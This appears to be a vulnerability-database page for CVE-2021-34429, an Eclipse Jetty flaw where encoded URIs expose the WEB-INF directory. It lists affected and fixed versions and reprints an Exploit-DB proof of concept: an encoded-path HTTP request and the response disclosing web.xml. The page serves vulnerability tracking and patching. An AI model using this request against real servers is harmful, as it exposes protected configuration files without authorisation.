CVE-2021-34429

unknown

Published 2021-07-19 · Modified 2026-03-13

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS v4 NEW

—

not yet in upstream

VIR risk

1.0

Description

Encoded URIs can access WEB-INF directory in Eclipse Jetty

Predictions

Exploit likelihood

30%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-50478 webapps java text · 1 KB

Mayank Deshmukh · 2021-11-03

Eclipse Jetty 11.0.5 - Sensitive File Disclosure

text exploit Source: Exploit-DB

# Exploit Title: Eclipse Jetty 11.0.5 - Sensitive File Disclosure 
# Date: 2021-11-03
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/
# Version: 9.4.37 ≤ version < 9.4.43, 10.0.1 ≤ version < 10.0.6, 11.0.1 ≤ version < 11.0.6
# Security Advisory: https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
# Tested on: Kali Linux
# CVE : CVE-2021-34429
# Github POC: https://github.com/ColdFusionX/CVE-2021-34429

POC - Access WEB-INF/web.xml 

## Request

GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: localhost:9006
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

## Response

HTTP/1.1 200 OK
Connection: close
Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT
Content-Type: application/xml
Accept-Ranges: bytes
Content-Length: 209
Server: Jetty(11.0.5)

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>ColdFusionX - Web Application</display-name>
</web-app>

Metasploit modules

auxiliary_gather/jetty_web_inf_disclosure rank 300

Jetty WEB-INF File Disclosure

Source code queued for fetch — refresh in a moment.

OS impact

SUSE Affected 1 release

Version	Status	Fixed in
—	Affected	—

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`9.4.39-3`
sid	Fixed	`9.4.39-3`
forky	Fixed	`9.4.39-3`
bullseye	Fixed	`9.4.39-3`
bookworm	Fixed	`9.4.39-3`

Package impact

Ecosystem	Package	Vulnerable	Fixed
Maven	org.eclipse.jetty:jetty-webapp	`>=9.4.37,<9.4.43`	`9.4.43`
Maven	org.eclipse.jetty:jetty-webapp	`>=10.0.1,<10.0.6`	`10.0.6`
Maven	org.eclipse.jetty:jetty-webapp	`>=11.0.1,<11.0.6`	`11.0.6`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.